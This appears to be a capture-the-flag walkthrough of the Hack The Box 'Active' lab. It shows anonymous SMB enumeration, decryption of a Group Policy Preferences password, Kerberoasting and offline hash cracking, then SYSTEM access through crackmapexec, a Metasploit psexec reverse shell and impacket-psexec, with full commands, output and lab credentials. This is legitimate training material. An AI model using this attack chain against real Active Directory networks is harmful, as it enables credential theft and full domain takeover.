Active

Nmap

```
# Nmap 7.92 scan initiated Wed Jun  8 19:28:52 2022 as: nmap -sC -sV -p- -T4 -oN
nmap/fullscan.txt 10.10.10.100
Increasing send delay for 10.10.10.100 from 0 to 5 due to 254 out of 634 dropped
probes since last increase.
Increasing send delay for 10.10.10.100 from 5 to 10 due to 11 out of 26 dropped
probes since last increase.
Warning: 10.10.10.100 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.100
Host is up (0.063s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE    SERVICE       VERSION
53/tcp    open     domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server
2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2022-06-
08 23:45:19Z)
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain:
active.htb, Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds?
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped
2038/tcp  filtered objectmanager
3268/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain:
active.htb, Site: Default-First-Site-Name)
3269/tcp  open     tcpwrapped
5372/tcp  filtered unknown
5455/tcp  filtered apc-5455
5722/tcp  open     msrpc         Microsoft Windows RPC
9389/tcp  open     mc-nmf        .NET Message Framing
33505/tcp filtered unknown
34602/tcp filtered unknown
36810/tcp filtered unknown
47001/tcp open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
```

```
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open     msrpc         Microsoft Windows RPC
49153/tcp open     msrpc         Microsoft Windows RPC
49154/tcp open     msrpc         Microsoft Windows RPC
49155/tcp open     msrpc         Microsoft Windows RPC
49157/tcp open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open     msrpc         Microsoft Windows RPC
49165/tcp open     msrpc         Microsoft Windows RPC
49168/tcp open     msrpc         Microsoft Windows RPC
49169/tcp open     msrpc         Microsoft Windows RPC
63615/tcp filtered unknown
Service Info: Host: DC; OS: Windows; CPE:
cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2022-06-08T23:46:15
|_  start_date: 2022-06-08T23:23:40
| smb2-security-mode:
|   2.1:
|_    Message signing enabled and required

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
# Nmap done at Wed Jun  8 19:46:23 2022 -- 1 IP address (1 host up) scanned in
1051.00 seconds
```

Right off the bat the scan gives us clues about the domain and the server version. Add the host to our hosts file for further enumeration

```
VERSION
Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
```

```
(Domain: active.htb,
```

Kerberos nmap enum-users

```
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm=active
10.10.10.100
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-08 19:56 EDT
Nmap scan report for active.htb (10.10.10.100)
Host is up (0.056s latency).
```

```
PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
|_    administrator@active

Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds
```

Discovered administrator account

SMB Shares

```
smbclient -L \\10.10.10.100
Enter WORKGROUP\root's password:
Anonymous login successful

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    IPC$            IPC       Remote IPC
    NETLOGON        Disk      Logon server share
    Replication     Disk
    SYSVOL          Disk      Logon server share
    Users           Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.100 failed (Error
NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Using Smbmap to list share permissions.

```
┌──(root㉿kali)-[~/htb/Boxes/Active]
└─# smbmap -H active.htb
[+] IP: active.htb:445  Name: unknown
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share
        Replication                                             READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share
        Users                                                   NO ACCESS
```

Since we do not have user credentials, we can only access the replication share.

```
┌──(root㉿kali)-[~/htb/Boxes/Active]
└─# smbclient  //10.10.10.100/Replication/
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  active.htb                          D        0  Sat Jul 21 06:37:44 2018

                5217023 blocks of size 4096. 284485 blocks available
smb: \>
```

Download the entire directory and look through it. Since it is a replication directory, it may contain useful informaition.

Looking through `active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups` we find a 'groups.xml' file that contains a service account and password.

The password is encrypted by group policy and can be decrypted with powershell, however, we will use a python script to decrypt it. More info on the Groups.xml file here: https://adsecurity.org/?p=2288

Github link: https://github.com/t0thkr1s/gpp-decrypt

Service account credentials

```
┌──(root㉿kali)-[~/htb/Boxes/Active/gpp-decrypt]
└─# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

Compromised account

```
SVC_TGS:GPPstillStandingStrong2k18
```

This is the kerberos ticket granting service account, we can use these credentials to kerberoast other accounts.

Foothold and exploitation

Use impacket-GetUserSPNs.

```
impacket-GetUserSPNs active.htb/svc_tgs:GPPstillStandingStrong2k18 -request -no-pass -dc-ip 10.10.10.100
```

```
┌──(root㉿kali)-[~/htb/Boxes/Active/gpp-decrypt]
└─# impacket-GetUserSPNs active.htb/svc_tgs:GPPstillStandingStrong2k18 -request -no-pass -dc-ip 10.10.10.100
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2022-06-08 19:24:57.563370


$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$e8978f07dfb8e5df77f1ce3f0e96ea3f$e19edfe2b280ec0275e5925a32dc6bcd740fe23cf5c4bc97e7ccc9b1fd705f57bf899db5d86a979a34365c8bde1343bcb058b6f078a495123f92b56d7afe301a
9fa7e20d33d9961022673c39ea9e879d300bf48a10ccf9da1d06f06f18bb63963a3c6d5f44c1be4573e86c1f4e48b2b8b75052d4182e06bb21e7c4d645723e4200a945301334bfa629a41fcb33caa22bf8fec7fffa811d03936074a07a169b5438c2ae15596744a05cf98f690fa99a631
77f2f01c8128de4a5851b6ad83027cab63ea2ac8d22a1f491eeecc5eb207b0d892a210b4d236f4586e1da78232f13505a08efc01be08209cd0c9a5f02814c1255c210137d3f55a25d3354461953274ccc891d92fde2a1128a4955ebdedfbe0b475e420862e1274c8ef2557d75b4122745
1e24be921c6f307ab47606dd8447fda5698670a8b792b69a90c8c3ee399277e33891e21cb96bad4bd845bf88f4273568c901a6e5f5e4141f5e63a28dd9d755f2e13f4a76772806fb0817023a39cda322696ce97c1a7214630baa50f3b72c890d774cf1a5eca944e1ce499065fb2bdfc09
64966ldee2bbc470cce4a0d509e62a2b3ddc934f57a24f532f2841b5b39d3a2a11346f0b1ecf2772913040525ee80baac233e94469d0f435e6a5e1e2c1fb644d2f35f9f54b7d3051ddd7ee4108fea682eff706cafee15640370bf8f7675ca5852377dc239561dbb0c4f3b45c7c773db2f
7ad6e41ed17adb8ac801dc9fc00ef9b36861aba98c4d4b9ae6df1c4dab6b764aa838dd04a545120a9ce122a36932323d4085c187aefdfd4ef28b08429ef61cb6878c99783d7f450ae6f925abbef4753853c452011c900dd914d76184ff796f0bcac0265344c70b77ad6ca8710d6226622
668e135fccb30e4a6c9a1da60dfb56ebb27c1b89922a4361c9c83368709b82d809c666ff84272038343395555a1c614fcabee94e75b8d738441b41d9e898fb5abe3319363a02992d8f681489bed99f0023359fa9a1ebbc7d7699d0b29b8b031ac7d15e105f5c8d847bb22106dc8af72fb
079264559165866d52f2c74fdfa9d01fa18ddfb623a0a3c69e927a820a2da396b0c3c6f89caf16ee58d1c182c84461a19114c2fa84fab87646dc63ef4cc08ed9ac25a7df5d0a749e3fc8507e0587a5e210a50aa108ba8b72c0881ca87cc7b58d4c0039cef4023d028508e40eb7b98ae10f
19dcd11463d655a614bca2baa7bca73eb838ab72d5860a570e2e77a2bc3a1796b269ccdc74788
```

It dumps the Admin hash! Now lets crack it with the rockyou wordslist. I used John in this example.

`john admin_hash --wordlist=/usr/share/wordlists/rockyou.txt`

```
┌──(root㉿kali)-[~/htb/Boxes/Active]
└─# john admin_hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:07 DONE (2022-06-08 20:29) 0.1379g/s 1453Kp/s 1453Kc/s 1453KC/s Tiffani1432..Tiago_18
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Now we have the administrators password 'Ticketmaster1968'.

I tried a few methods to gain RCE on the box including evil-winRM but to no avail so I decided to test code execution with crackmapexec.

`crackmapexec smb --exec-method smbexec -u administrator -p 'Ticketmaster1968' -x 'whoami' 10.10.10.100`

```
┌──(root㉿kali)-[~/…/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences]
└─# crackmapexec smb --exec-method smbexec -u administrator -p 'Ticketmaster1968' -x 'whoami' 10.10.10.100
SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb)
 (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\administrator:Ticketmaster1968 (Pwn3d!)
SMB         10.10.10.100    445    DC               [+] Executed command via smbexec
SMB         10.10.10.100    445    DC               nt authority\system
```

We do infact have RCE so i deciceed to use metasploit's Psexec moduel.

I used exploit/windows/smb/psexec.

```
msf6 > search psexec

Matching Modules
================

   #   Name                                           Disclosure Date  Rank       Check  Description
   -   ----                                           ---------------  ----       -----  -----------
   0   auxiliary/scanner/smb/impacket/dcomexec        2018-03-19       normal     No     DCOM Exec
   1   exploit/windows/smb/ms17_010_psexec            2017-03-14       normal     Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2   auxiliary/admin/smb/ms17_010_command           2017-03-14       normal     No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3   auxiliary/scanner/smb/psexec_loggedin_users                     normal     No     Microsoft Windows Authenticated Logged In Users Enumeration
   4   exploit/windows/smb/psexec                     1999-01-01       manual     No     Microsoft Windows Authenticated User Code Execution
   5   auxiliary/admin/smb/psexec_ntdsgrab                             normal     No     PsExec NTDS.dit And SYSTEM Hive Download Utility
   6   exploit/windows/local/current_user_psexec      1999-01-01       excellent  No     PsExec via Current User Token
   7   encoder/x86/service                                             manual     No     Register Service
   8   auxiliary/scanner/smb/impacket/wmiexec         2018-03-19       normal     No     WMI Exec
   9   exploit/windows/smb/webexec                    2018-10-24       manual     No     WebExec Authenticated User Code Execution
   10  exploit/windows/local/wmi                      1999-01-01       excellent  No     Windows Management Instrumentation (WMI) Remote Command Execution
```

Configure the exploit and run it, it should return with a meterperter shell as the administrator.

```
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.10.14.2:9001
[*] 10.10.10.100:445 - Connecting to the server...
[*] 10.10.10.100:445 - Authenticating to 10.10.10.100:445|active.htb as user 'administrator'...
[*] 10.10.10.100:445 - Selecting PowerShell target
[*] 10.10.10.100:445 - Executing the payload...
[+] 10.10.10.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 10.10.10.100
[*] Meterpreter session 1 opened (10.10.14.2:9001 -> 10.10.10.100:49475 ) at 2022-06-08 20:45:58 -0400

meterpreter > whoami
[-] Unknown command: whoami
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 1852 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

You can also use impacket-psexec to gain an admin shell.

`impacket-psexec active.htb/administrator:Ticketmaster1968@10.10.10.100`

```
┌──(root㉿kali)-[~/…/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences]
└─# impacket-psexec active.htb/administrator:Ticketmaster1968@10.10.10.100
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file TrKsTQmT.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service qdrt on 10.10.10.100.....
[*] Starting service qdrt.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>
```